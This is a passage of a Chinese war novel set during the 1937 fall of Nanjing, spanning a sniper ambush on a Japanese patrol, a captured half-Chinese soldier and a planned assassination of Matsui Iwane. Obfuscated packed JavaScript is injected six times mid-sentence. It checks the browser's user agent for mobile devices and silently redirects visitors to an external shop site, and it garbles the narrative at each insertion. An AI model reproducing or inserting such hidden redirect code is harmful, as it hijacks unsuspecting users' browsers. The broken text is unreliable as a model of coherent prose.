最关键的是,他听到的枪声不是来自于身前,而是发自于右侧数十米的地方。 那枪声熟悉得让他热泪盈眶,像是浪迹天涯的孩子忽然有一天出现在他的眼前。 那是他的毛瑟98K! 如影随形地伴随了他四年之多毛瑟98K! 被他视为骨肉的毛瑟98K! 仅存的那名日本士兵重重地倒下,同时也重重地震撼了他。 有人拿着他的枪击毙了眼前的鬼子! 曲思冬用手背擦拭掉脸上的血迹,看到一个熟悉的身影不断的向他招手。 那个招手的人,就是带着他的“孩子”消失了一天多的陈大军。 …… 此刻,陈大军背着毛瑟98K,就站在曲思冬的身后。 曲思冬看到了撑灯的曲怀远,亲切的喊了声:“大伯”。 曲怀远爱怜地抚摸着思冬的脑袋:“冬儿,我们天天念叨着你!” 柳兰一直盯着儿子看,似乎总也看不够,嘴里反复说:“你瘦了,也黑了。” 曲思冬指了指陈大军,介绍道:“这是我的战友陈大军。” 陈大军憨厚的笑了笑:“阿姨叔叔们好。” 曲怀齐问:“你们怎么回来的?而且还带着枪!” 曲思冬得意地一笑:“别忘了我是城防司令部的,小日本还能拦得住我们出城?南京城的城墙我们比谁都要熟悉!” 陈大军补充说:“我们从太平门那边翻城墙来的。” 曲怀齐突然哦了一声,赶紧拉着曲思冬的手就往里屋走,边走边说:“我们忘了给你介绍一个人!” 一行人来到林赤的床前。 林赤已坐了起来。 林赤伸出手,对曲思冬说道:“你好,我叫林赤。” 曲思冬机械的伸出手,和林赤握了一下。 林赤见曲思冬满脸疑,就说:“我们奉命在在紫金山一带阻击日军……” 柳兰插话道:“他受伤了,是你爸和大伯把他背回来的。” 林赤接着说:“给你们添麻烦啦。” 曲思冬似乎明白了一些,忙应道:“我叫曲思冬。” 林赤微微笑了一下说:“曲长官好,我来自教导总队一旅一营三连。” 曲思冬细细打量了眼前的这个人,开始只当他是名普通士兵,但见他目光凛凛,神情坚毅,就知道他起码是个尉级军官。 林赤又说:“我听你父母说起过你,你是南京城防司令部的营长。” 曲思冬一听这话,面有得色。一种优越感油然而生。 他大大咧咧在林赤床前坐下,语气明显居高临下:“你说说,到底怎么回事?” 林赤答道:“我们遭遇的是日本第16师团33联队,我们旅几千人打到最后就只剩下不到一千人……” 曲思冬行伍以来,只是带着一百多名南京籍弟兄在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259529|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄武湖阻击过日本军队,并未真正参加过如此惨烈的阻击战,不假思索说道:“这还是你们的长官指挥有问题……” 话一说出,他的脑海中立即浮现出他指挥参加的玄武湖阻击战,想起阵亡的一百多名兄弟,他再也说不下去了。 林赤已感觉出曲思冬的傲娇,也不计较,淡淡说道:“指挥上确实存在问题,日本人都是重武器,而我们构筑的工事预见性根本不足,我们的很多弟兄几乎都丧生在敌人的重炮下!” 曲怀齐在一旁听得津津有味,作为一所中学的老师,这时他也抛出了自己的观点,“国民政府一开始不是说守住南京城绝无问题,后来又说两个月不成问题,再后来就一拍屁股一走了之,他们太混账,把我们老百姓统统地留在了南京城。” 曲思冬想起了在汉中门桥历经的一幕,连忙站起身来,对着父母郑重道:“还好你们躲出来了……” 说着,他又把脸对着大家“现在日本人在城里面到处杀人,连老百姓都不放过,我躲在汉中门桥下面,亲眼看到几千名中国军警,被日本人押到汉中门外,用机枪扫射……” 曲怀齐夫妇以及曲怀远听着都不由得瞪大了眼睛。 林赤的牙齿咬得咯吱作响。 半晌,柳兰从嘴里蹦出几个字:“日本鬼子都不得好死!” 她话刚讲完,就想起了女儿,忙一把抓住曲思冬,连连说道:“你见过秋儿吗?她怎么样啊?有危险吗?” 曲思冬道:“她还好,应天教会医院在国际安全区里,日本人总不会伤害医生的。” 柳兰的脸色一下子轻松起来:“那就好,那就好!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面 更精彩! 第20章 自找的战斗 久违的冬日晨阳慢慢爬上了紫金山东麓的一棵数百年的古银杏树的树梢。 无论你怎么看它,它都像是一位久病未愈的病人,脸色苍白得没有一丝血色。 紫金山东麓的一条并不太显眼的小路,始于那棵数百年的参天古树,古树下,积满了腐朽枯黄的银杏叶。在小路的两侧,荆棘遍布,枯草丛生。 小路弯弯曲曲,在参差不齐的树木遮掩下通向不远处的一处山坳里。 在山坳的西北角,依山搭建了一间低矮的石头房子。 房子大门的朝向,正对着东南方冉冉升起的太阳。 石头房子的门前,被主人收拾出一块十多米见方的空地,空地上支起一块石板,石板的周围,均匀摆放着三块大石,石头的顶部,不知是天然还是人为,显得相对平整。以供主人在闲暇之余在上面小坐。 石板的前方数米处,两根枯颓的树干上,连接着一根大拇指粗细的棉绳,棉绳上晾晒着几件土黄色的衣服,有点见识的人都知道那是日本人的军服。 和军服一起晾晒的,还有两顶带有帽垂的军帽。 石头房子的烟囱里,正炊烟袅袅。 或许由于连日的阴霾天气,灶膛里的柴火湿气很重,这炊烟黑而浓烈,并借着凛冽的东北风,在林木间摇摆着升腾而起。 紧挨石头房子背侧、距地面四十多米的山坡上,在一排凸起的山石后面,有一块狭长的平地,上面覆盖着松软浓密的枯草,枯草上面披着一层白色了霜凌。 此时此刻,就在这块狭长的平地上,以三米多的间隔,三个人静静地趴在上面,分别把脑袋隐藏在山坡边缘的石头后面。 他们每人手里都握着一把长枪。 太阳渐渐升高,薄雾散尽,能见度很高。 从这个角度向东眺望,包括紫金山东麓山口在内的五百多米的区域尽收眼底。 从南向北,他们分别是陈大军、曲思冬和林赤。 林赤和陈大军的手里握的是从日本士兵那里缴获的三八式步枪,曲思冬手里握的是那支毛瑟98K。 他们已在这里埋伏了一个多小时。 …… 曲思冬和陈大军凌晨五点多就醒了。 他们醒时,天还没亮。 曲思冬和陈大军原本准备在天亮之前,潜回南京城。 柳兰跟着起床,给他们烧水做早饭。 曲思冬开门时,发现林赤已经坐在了门前的石凳上。 林赤未等曲思冬开口,先说道:“曲长官,你们今天假如不走,我们会有意外的收获。” 曲思冬一头雾水,不明白林赤话里所指。 林赤道:“今天我们应该可以遭遇鬼子,难道你不想痛痛快快杀几个?” 曲思冬理出了头绪,立即反问道:“你这么自信鬼子会找到这里?” 林赤说道:“你只要答应,我会满足你的要求。” 曲思冬不太相信林赤的话,正暗自思忖林赤会用什么办法把鬼子引到此处。林赤接着道:“我判断鬼子的数量应该在十人左右,我一个人吃不掉……” 曲思冬抬眼看林赤,见他一脸认真,绝不像开玩笑的样子,斩钉截铁道:“如果真有这样的好事,我哪儿也不去!” 林赤微笑着:“那咱们一言为定,如果今天我让你失望,以后我的任何一句话你都可以不要相信,但是如果今天让你如愿以偿,那么就把你的那支毛瑟步枪送给我。” 曲思冬听出对方垂涎自己的狙击步枪,心中不乐,但转念一想,如果他真有这般本事把鬼子引到此地,在屋后的山坡上打它一次伏击,用十条左右的日本士兵的性命,换他一支步枪,倒也痛快! 想到这里,曲思冬心中释然,高声说道:“好,成交!” 但心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259530|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仍有疑虑未消,追问道:“你如何确定鬼子会在今天来?并且你怎么这么肯定鬼子的人数在十人左右?” “要说十分确定,那也做不到,但有一点可以肯定,鬼子这次出动搜索的人数,定会比昨天失踪的鬼子数量要多。昨天追踪前来的鬼子,是在执行扫荡任务,他们四人是一个小组,判断他们出现意外的依据,只能是他们彻夜未归。鬼子在天黑以后不大可能针对一片陌生区域实施搜索,行动的时间只能是今天白天,而且,最大可能是今天上午……至于出动的鬼子的数量,是基于目前鬼子一个小队,在辗转几个战场后,已不可能满员,最多在70到80人的样子,一组十名士兵左右的数量,是我对他们目前分兵作战能力的最大估计。” 曲思冬觉得林赤分析得十分有道理,内心钦佩不已,但他的脸上却没有丝毫表露。他引开话题,对出门的陈大军大声说道:“大军,今天不去城里啦,我们在这里还有事情要做!” 他的这句话马上被母亲柳兰听到,柳兰顿时高兴极了,从屋里冲了出来,问道:“冬儿,今天你们真的不走了吗?” “我们要在这里打鬼子一个伏击!” 柳兰大惊失色,生气道:“你千万不要胡闹!” 早饭后,已日出。 曲怀远根据林赤的要求,在灶膛生完火后,把平时劈好的柴火洒了不少水,塞满了灶膛。 柳兰从屋里将昨天洗过的两套日本军服,连同怀齐捡回的两顶军帽,晾在了门前的棉绳上。一切准备完毕,怀远依着林赤的意思,把门半掩着,带着怀齐夫妇二人,直奔后山而去。 林赤找来一根布条,紧紧绑在受伤的右腿伤口处。 三人提着长枪,从屋后不远处的一条小路,绕到了石头房子的后山坡上。 石头房子周围的一切人事,尽收眼底。 他们把黑洞洞的枪口,对准了房前的那片空地。 第21章 伏击 古银杏树旁,一队日本士兵出现在他们的视线。 他们在跑步前进。 曲思冬数了一下,九名。 林赤轻声说:“曲长官,从今天起,我们俩开始一场游戏!” 曲思冬眼睛盯着前方,头也不回:“说,什么游戏?” 林赤说道“日本鬼子侵我中华、毁我家园、杀我同胞,自今天起,我们之间开展一场比赛,看谁杀的鬼子多。” 陈大军插话:“算我一个。” 曲思冬道:“这不公平,我用的是狙击步枪,这样吧,你把你昨天杀的四名鬼子的名额算上。” 陈大军道:“营长,前天你不是一人也杀了三个鬼子?” 林赤说:“我说的是从今天开始,以前的所有成绩归零。” 说完,他斜睨曲思冬一眼:“再说,你的这支枪,从今以后,已经姓林喽!” 曲思冬显出心痛难受的样子:“你这可是在割我的肉啊!” 林赤并不理他,呵呵地轻笑着。 其实他们并不知道,在他们之前,南京城里已有两名日本尉级军官,早就相约开展杀人竞赛了! 日军第十六师团两个少尉军官向井敏明和野田毅在其长官鼓励下,彼此相约“杀人竞赛”,商定在占领南京时,谁先杀满100人为胜者。他们从句容一路杀到汤山,向井敏明杀了89人,野田毅杀了78人,因皆未满100,“竞赛”继续进行。12月10日中午,两人在紫金山下相遇,彼此军刀已砍缺了口。野田说杀了105人,向井说杀了106人。又因确定不了是谁先达到杀100人之数,决定这次比赛不分胜负,重新比赛谁先杀满150名中国人。 他们此时的比赛还在进行! 九名日本士兵转眼已到石头房子前,他们似乎看到了门前晾晒的日本军服,嘴里立即咿呀咿呀地叫了起来。 为首的少尉一挥手,四名日本士兵立即分散扼守了房前屋后,剩下的四名士兵已冲到门前。两名士兵守住门口,另两名一脚踹开虚掩的大门,冲了进去。 陈大军距离他们最近,林赤最远。 这样的狙击位置安排,是林赤做出的,他是基于对自己的自信,同时也是为了提高命中率。 根据事先安排好的计划,由曲思冬率先负责射杀指挥官,陈大军只射杀距离他最近的,曲思冬一旦第一步骤完成后,将和林赤一道按由远及近的顺序发起攻击。 攻击命令是以曲思冬的第一枪为信号。 少尉挥手后,跟着前方的四名士兵疾步来到房子门前。 曲思冬已锁定目标。 少尉不再运动,站在门前几米的地方,静观事态发展。 最好的机会,曲思冬食指搭在了扳机上,就等扣动。 左侧的林赤突然轻声说:“先别开枪!” 曲思冬心中不解。林赤接着小声说道:“得等所有的鬼子全部出来!” 曲思冬马上明白了林赤的意思,他是怕一旦枪响,其他士兵会马上钻到房子里,这样会给接下来的狙击带来重重困难。 四名士兵很快出现在少尉的身前,最佳时机到了。 曲思冬扣动了扳机。 四十多米的距离,六倍的瞄准镜,这样的狙击对曲思冬毫无难度。 一声枪响,日本少尉像是脑袋遭到一股大力锤击,直直地向前趴下! 紧接着,石头房子前面的转弯处,一名端着枪转悠的日本士兵仰面倒下! 再接着,少尉西侧面对他的一名日本士兵也重重倒地。 三个鬼子的毙命,前后仅仅几秒。 林赤并未按原先的计划由远而近,而是立即把枪口对准了门前剩下的三名士兵,这三名士兵已惊慌失措,正准备往屋檐下移动,寻求掩护…… 曲思冬也未按计划进行,他和林赤心有灵犀。 “砰”!“砰”!“砰”! 又是三声枪响! 两名士兵倒地,第三名只是身体微微晃了一下,立即毫不迟疑地向石头房子里跑去。 这一切的发生,前后也就十秒钟的时间。 但就是这十秒钟,房外的其他三名鬼子已经集结在一起,后背相贴,手持步枪,转动着一边外撤一边朝林赤他们的藏身处开枪! 他们凭借着小路两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259531|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧的树木作掩护,开始还击。 这毫无征兆的突然袭击让他们恍若梦境。 又是一声枪响,三人中又一人倒下。 这一枪,是林赤开的。 曲思冬脑海中立即浮现出刚刚和林赤的游戏约定,毫不示弱,他的枪也响了…… 三人链接而成的圈子在进行了若干圈的旋转后,转瞬间链条断裂,再也无法旋转,剩下的这名士兵干脆不还击了,转身拔腿就往林子外一阵狂跑。 树影婆娑,狙击视角已极度恶劣! 这时,曲思冬的枪声又响,不过这次没有击中目标。 那名日本士兵已如丧家之犬,拼尽全力地狂奔着! 300米、350米…… 林赤腾地立起身,嘴里几乎是喊叫道,别让他跑了! 他已冲到曲思冬的身前,一弯腰,就把曲思冬手里的那支毛 瑟98K抢夺了过去。 他稳稳地站立,徐徐地举起步枪。 400米……日本士兵还在继续奔跑,不时蛇形穿梭。 “砰”!几乎是枪响的同时,日本士兵已猝然倒地! 只剩下一名还活着的日本士兵,受着伤,躲藏在石头房子里。 曲思冬和陈大军也已起身,陈大军问曲思冬:“营长,怎么办?” 曲思冬说:“咱们下去看看!” 林赤把毛瑟步枪递了过来,想起刚才的举动,觉得有些过分,嗫嚅道:“曲长官,对不起,刚才我一时着急……” 曲思冬把林赤递来的枪用手挡了一下,满脸由衷的笑容。 曲思冬提高声音:“大家都是兄弟,以后别叫我长官了!至于这支枪,以后就归你了,好马配好鞍,好枪赠英雄,你的枪法比我行,我曲思冬服了!” 林赤心花怒放,但却装作受之有愧的样子:“那怎么好意思!” 曲思冬突然严肃起来,对林赤正色道:“林兄弟,你老实告诉我,你在教导总队到底什么职务?” “我是三连连长。” “就这么简单?” “我们是兄弟,我为何要骗你?” 第22章 小野二郎 陈大军为防止那名藏身屋内的日本士兵逃脱,枪口对着大门,目不转睛。 曲思冬决定和林赤一起下山,去了结鬼子的性命。 陈大军那一枪,没有击中鬼子的要害,但显然,他被击中受伤了。 很快到了石头房子旁,二人矮身潜上前去。 地上一串血迹,延伸到屋子里。 曲思冬走在前面,在靠近大门处,他双手握着枪,贴墙蹲下。 大门洞开,里面寂静无声。 曲思冬对林赤做了个手势,林赤知道他要行动了。 此念刚过,曲思冬就从大门根处快速拔地而起,冲进屋内。 林赤紧随其后,也端枪冲了进去! 他们被眼前的一幕愣住了…… 那名日本士兵正静静地坐在靠门口的一张凳子上。 他的枪扔在脚前的地上。 他居然没准备反抗。 曲思冬和林赤把枪口都对准着他。 他的右肩沁出大片的血迹。 他的眼睛微微闭着,表情平静得像什么也没发生。 片刻间,陈大军这时也冲进了房内。 曲思冬怎么也没想到会出现这样的场景,扳机反而扣不下去了。举着枪站在原地,不知如何是好。 陈大军着急地说:“营长,快开枪啊,还犹豫什么!” 林赤这时把曲思冬的枪口向上抬了抬,自己也把枪放下。 这时,日本士兵却开口说话了。 这不说话不打紧,一说话三人都吃了一惊。 他居然用的是中文! 只是语言有些生硬,但发音准确,一听便知他已好久没说中文了。 “你们——杀——了——我吧!” 林赤近身上去,眉头微蹙:“你会说汉语?” 日本士兵并没有抬眼看他们,继续说道:“求求你们——杀了我吧!活着真没意思!” 这一次语言明显流利很多。 曲思冬大奇:“你是中国人?” 日本士兵想了一下,摇了摇头。 陈大军马上追问道:“那你为什么会说汉语?” 日本士兵不再回答了。 陈大军又说:“营长,这鬼子欲擒故纵,咱别上当!” 但这一枪,曲思冬怎么也打不下去。 林赤弯腰把地上的枪捡起,递给日本士兵,说道:“我们从不杀俘虏,更不杀手无寸铁之人,你还是回去吧!” 曲思冬诧异地看了一眼林赤,林赤并未理他,继续道:“你们千里迢迢从大洋彼岸,先占我东北,再取我华北,如今攻上海、克南京,一路烧杀掠夺、无恶不作,更可恨的是你们杀死我们多少无辜百姓!可气我泱泱大国,竟不能拒倭寇于国门之外,任凭尔等肆意践踏,如入无人之境!” 曲思冬这番话,却激起了陈大军的一腔怒火。他欺身上前,立即把枪口抵在日本士兵的胸前,就欲开枪。 林赤见状喝道:“陈大军,你把枪给我放下!” 林赤的声音不高,但语气中透着不容拒绝的凛然之气。 陈大军心有不甘地垂下枪口,求助似地看着曲思冬。 曲思冬对陈大军说:“听他的!” 转头间竟发现日本士兵的脸庞上,两行泪水蜿蜒而下。 日本士兵轻声抽泣着,片刻抬起头,他嘴里说道:“我也算半个中国人……” 话一道出,三人脸上尽显惊异神情。 日本士兵继续说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259532|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“我叫小野二郎,母亲是中国人,父亲是日本神户人,十二岁前生活在奉天,中国名字叫张遥,十二岁以后,父亲把我带回了日本,十八岁应征入伍……攻占南京城的这几天我们中队负责中山门这片区域的扫荡,已杀死数百名中国平民,而其它的部队杀得更多,仅昨天一天,听说整个南京城就被杀死了近四万个中国人……” “什么?”林赤打断了他的话,厉声问道。 曲思冬眼里要喷出火来,一把抓住小野二郎的衣领,把他提了起来,恶狠狠说道:“你再说一遍!” 小野也不挣脱,说道:“听说三十八联队在宝塔桥一带杀了三万多人,在鱼雷营杀了9000人,其中大部分是战俘……” 陈大军一下子狂躁起来,不假思索地抡起枪托,照着小野二郎的脑袋砸了下去,嘴里骂道:“小鬼子,我操你祖宗十八代!” 小野身子晃了晃,打了个趔趄。 鲜血从小野的军帽边沿处的发际汩汩涌出,很快染红了脖子和衣领。 小野没有理睬这些,接着刚才的话说道:“我们干了很多坏事……我不愿干,可几乎所有的人都在逼我,日本这个国家已经疯了!我知道你们恨我,你们快快杀了我吧,我一刻也不想活了……” 话没说完,小野晕倒在地。 …… 三人处理完日本人的尸体已是中午时分。 他们清点了一下缴获的战利品,8支步枪,1把手枪,297颗子弹,15颗手雷,一张南京城军用地图,一具九三式望远镜。 小野躺在林赤的床上,一直昏迷不醒。 这时曲怀齐夫妇和曲怀远试探着走进屋子。 本小 章还未完,请点击下一页继续阅读后面精彩内容! 第23章 幸存的武装 张遥的加入到底是不是陷阱?林赤一直在考虑这个问题。 但起码,林赤愿意相信刚才的握手,张遥的力量传递给他的是一种真诚;再说,起始阶段,林赤递枪给他,其实初衷也是一种试探;而最后也是最重要的,对方对自己一无所知,如果说这里面有什么阴谋的话,那一定就是为了活命! 考虑这个问题的不仅是林赤,曲思冬也内心纠结。 从张遥的二次昏迷后,林赤就一直坐在门前的石凳上思索着什么。 曲思冬走了出来,关切问:“兄弟,你怎么样啦?” 林赤知道曲思冬是问他的身体,答道:“没事的。” 曲怀齐随后出来,对林赤道:“你还是躺下休息休息吧,我又搭了张木板床。” 他边说边看林赤大腿的伤口处,发现白色的棉布条上已浸透着血,说道:“你看,腿上的伤口又裂开了。” 林赤笑了笑说:“大叔,我好得很!” 想了想又说:“这边已经不能住了,你们多准备点吃的,准备好了我们一起转移到后山。” 说完眼睛盯着曲思冬,决然道:“我看他不会有假!” 林赤明白此刻曲思冬心中最大的疑虑就是张遥的加入是否有诈。 曲思冬点点头,他相信林赤的判断。 和林赤认识不到一天,曲思冬已把他当成相知多年的故人。他行事果断,让人不由得对他产生某种依赖。 曲思冬此时想起林赤刚才和父亲的一番话,忙问:“你是觉得鬼子会再次扫荡?” 林赤不假思索:“这个地方已经不能住了,鬼子不久就会在附近搜索。” 他低头看了一下时间:“而且要快!” 曲思冬看林赤这么肯定,很好奇他的判断依据。 他饶有兴趣地看着林赤,说道:“说说理由?” “我检查了一下鬼子的尸体,并不是所有人都备有单兵口粮,只有两个鬼子身上装有罐头,这说明鬼子的搜索任务必须在午饭前完成,现在午饭时间已过去一个多小时,九名鬼子的集体失踪,加上昨天失踪的四名,说不定这件事已经被上报到日军司令部,鬼子必须立即有所行动!” 曲思冬心里暗想,这小子心思如此缜密,当个连长太委屈他了! 轻装简从,一行人带着一些吃的、被褥、日常用品以及缴获的武器等陆续向后山撤去。 房子里只剩下曲思冬、林赤,还有依旧昏睡的张遥。 曲思冬把张遥扶起,对林赤说,你帮我一下,我背他走。 出门没多远,张遥悠悠醒来,挣扎着要下来,曲思冬依了他。 脚一落地,张遥问:“我们要去哪里?” “我们找个地方躲躲。”曲思冬答道。 林赤见张遥已完全清醒,出声道:“对了,你们接下来还会有行动吗?” “会的。”张遥环视二人一眼,“我们占领南京后,士兵被打冷枪,死伤和失踪每天各部队都有发生,部队严格规定,哪怕是失踪一名士兵,都必须上报最高司令部。昨天我们失踪了四名,其中还有一个是东京参谋本部一位少将的儿子,加上今天失踪的,足够引起警备司令部高层的重视了。” 曲思冬忙道:“他们会找到这里来吗?” 张遥道:“今天除了我有活口逃走吗?” 曲思冬摇了摇头。 张遥:“昨天上午司令部给我们下的命令是‘快速肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259533|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清残敌’。听说华中派遣军司令松井石根大将将在明天从苏州前往南京,从中华门进城,我们的任务就是清除一切隐患!出了这样的大事,司令部认为最大的可能就是在这一片区域还有中国武装存在,不但我们三十三联队会全力以赴,就连其它的兄弟部队都会驰援!” 一路上无人说话。 到达后山。房子极其简易,只用了四根十米高的圆木,将劈成两半的竹条固定在厚厚的秸秆上,一层一层地镶嵌在圆木四周,形成了四面“墙”,房顶则是用稻草覆盖,并用铁丝固定。 房子里面空洞无物,仅有一张破旧的桌子。 地上铺满了稻草,稻草上搁了几块大的木板,是为床。 房子里倒也暖和。 安顿好张遥,曲思冬和林赤真准备席地而坐,稍作休息,突然东南方传来一阵阵密切的枪声。 房子里面所有的人,不自觉都站了起来。 曲思冬凝神细听,转头对林赤道:“听声音,是我们的人和鬼子打起来了。” 林赤从墙角挑了一支步枪,跟着从摆放子弹的木盒子里抓了两把把子弹放在兜里,顺手将木盒里的“九三式”望远镜取出挂在脖子上。 做完这一切,林赤对曲思冬道:“你把你的枪带着,我们去看看!” 曲思冬想了想,还是拿了一支和林赤一样的三八式。 “那支枪的子弹不多了,我还得留点另作他用。”曲思冬解释一句。 走到门口,林赤意味深长看了陈大军一眼,补充道:“大军,你留下来照顾张遥!” 二人快速向石头房子而去。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第24章 刺杀 中华门,原名聚宝门,是明代十三座内城门之一,它也是南唐国都江宁府和南宋陪都建康府城的南门,它的前后有内外秦淮河径流横贯东西,是南京城南交通咽喉所在。 六年前,有人将蒋介石书写的“中华门”三字题匾,挂在它主楼城门上,从此,聚宝门从年轻人的记忆中渐渐淡忘。 中华门布局严整、构造独特。城门设置有三道瓮城、四道券门,主体建筑内瓮城由中华门主楼城门和二至四道辅助城门构成,各城门原有双扇木门和可上下启动的千斤闸,整个城共有二十七个藏兵洞,可以藏兵三千余人。 如今,最外侧的城门布满大大小小的弹洞,原来的双扇木门已经残破不堪,被日本士兵拆卸堆放在门洞两侧,门的功能已由驻扎于此的一个日本中队取代。 1937年12月17日。 日本华中方面军最高司令长官大将松井石根将于此荣登南京城。 与松井石根一同前往的,还有刚从苏州迁至南京的日本华中方面军司令部的所有人员,以及从上海赶来的西方国家记者团。当然,另外还有两个人值得重点介绍,分别是一男一女,男的叫黑木瞳,官阶大佐,女的叫渡边雪奈,官阶少佐。他们是松井石根从北平特务机关长松室孝良少将那里要来的两位大日本国谍战精英。 松井石根要在南京城组建一个凌驾于宪兵司令部只受命于他的特务机关,该机关的名字,他在苏州养病期间就已想好。 【松机关】。 临近晌午,松井石根还未出现。 但马路两侧夹道欢迎的民众似乎热情未减,他们机械地挥舞着手中的标语和彩旗。 他们的身前,以间隔五米一名日本士兵的警戒线一直延续了几千米。 自日本军队占领南京后,他们的战争机器高速运转,短短四天时间,他们就已扶植了三个伪区公所,分别是下关区公所、鼓楼区公所和秦淮区公所。 马路两侧千余名“热情”的民众则是由鼓楼和秦淮两个伪区公所组织的。 他们中除了普通市民,还有学生,以及在战后依旧保持运转的一些机构的职员。 此时,曲思秋和池橙就站在人群中。 她们是院长冯?玛丽指派而来。 …… 夹在人群中的除了曲思秋和池橙外,还有另外两个人。 曲思冬和陈大军。 他们和曲思秋与池橙之间仅仅相隔一百多米,但他们彼此都未发现对方。 曲思冬和陈大军在天亮之前就潜入了这片区域。 从紫金山的住处潜进南京城,他们已熟练掌握每一个环节! 他们决意要用个人微薄的力量破坏这次屈辱的入城式。 他们要以中国人的名义发声,让这次富丽堂皇的入城式支离破碎! 他们知道,这样的发声也许会搭进身家性命。 这也是曲思冬回去探望父母的目的,他要见父母最后一面。 他们在凌晨时分悄悄离开。 曲思冬和谁都没有打招呼,他清楚,如果自己出现不测,这样离别的招呼就没有任何意义,只会让生者在今后的日子徒增伤痛与思念! 离开的时候,每人带了两颗手雷。 勃朗宁被曲思冬放在了家里。 没有子弹的枪虽然份量沉重,但和柔软的棉花没有什么分别! 除了手雷外,曲思冬还带着他心爱的毛瑟98K。 拿枪的时候,他想起了已将此枪馈赠给了林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259534|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赤,当时他羞愧的笑了笑,心里想:林兄弟,只要这次还能活着回来,一定不再夺人所爱了! …… 此时的曲思冬已心无杂念。 他要用他的毛瑟98K狙击步枪,发射一颗口径7.92mm的子弹,镶嵌进那个叫松井石根的鬼子的眉心。 在曲思冬的身后,是一间两层高的破旧药铺,大门洞开,店主已不知所踪。 曲思冬的那把步枪,此时就躺在二楼房间屋顶的横梁上。 枪里只剩两颗子弹。 一颗留给松井石根,另一颗留给自己。 …… 时间又过去二十多分钟,松井石根依旧未出现。 时间分外显得漫长难熬。 尤其在执行这种任务的时候! 正当曲思冬眼光四处打量之际,他突然发现右前方二十米不到,斜对面的一家杂货店的墙面上,贴着一张海报,海报内容正是他无比谙熟的“寻人告示”! 和他上衣口袋里高翔留下的那张纸条,以及国际安全区西大门告示栏中的内容一字不差。 “新年将至,父母甚念,盼吾儿务必于腊月二十一日归家!父:国华。” 这张纸条,让曲思冬立即想起大前天夜里沿着汉中门护城河河床上的追踪。 难道他们也来了? 他们也想刺杀? 他们为什么要在此处张贴这样的告示? 难道他们要找的人有可能会在这里出现?…… 就在他胡思乱想的时候,前方的人群忽然开始骚动起来。 紧接着热忱的欢迎口号震天撼地。 本小章还未完,请点击下一页继续阅读后 面精彩内容! 第25章 钉子 就在曲思冬欲扣响扳机之际,一声枪响先他而发。 枪声尖锐凌厉,犹如石块入水,在这喧嚣而混沌的空气中瞬间荡起阵阵涟漪。 